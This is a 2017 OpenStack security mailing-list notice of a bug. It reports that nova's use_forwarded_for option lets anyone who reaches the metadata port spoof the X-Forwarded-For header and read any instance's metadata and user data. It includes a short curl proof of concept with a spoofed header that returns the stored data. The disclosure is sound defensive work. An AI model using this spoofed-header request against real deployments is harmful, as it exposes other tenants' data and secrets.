[Openstack-security] [Bug 1563954] Re: use_forwarded_for exposes metadata
Tristan Cacqueray
tdecacqu at redhat.com
Fri Jan 20 01:03:45 UTC 2017
** Description changed:
- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
-
- --
-
The nova metadata service uses the remote address to determine which
metadata to retrieve. In order to work behind a proxy there is an option
use_forwarded_for which will use the X-Forwarded-For header to determine
the remote IP.
If this option is set then anyone who can access the metadata port can
request metadata for any instance if they know the IP.
The user data is also exposed.
$ echo 123456 > /tmp/data
$ openstack server create --image CentOS7 --flavor fedora --user-data /tmp/data test
<wait>
$ curl -H 'X-Forwarded-For: 10.0.0.7' http://localhost:8775/latest/user-data/
123456
At a minimum this side-effect isn't documented anywhere I could find.
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https://bugs.launchpad.net/bugs/1563954
Title:
use_forwarded_for exposes metadata
Status in OpenStack Compute (nova):
Confirmed
Status in OpenStack Security Advisory:
Opinion
Status in OpenStack Security Notes:
Fix Released
Bug description:
The nova metadata service uses the remote address to determine which
metadata to retrieve. In order to work behind a proxy there is an
option use_forwarded_for which will use the X-Forwarded-For header to
determine the remote IP.
If this option is set then anyone who can access the metadata port can
request metadata for any instance if they know the IP.
The user data is also exposed.
$ echo 123456 > /tmp/data
$ openstack server create --image CentOS7 --flavor fedora --user-data /tmp/data test
<wait>
$ curl -H 'X-Forwarded-For: 10.0.0.7' http://localhost:8775/latest/user-data/
123456
At a minimum this side-effect isn't documented anywhere I could find.
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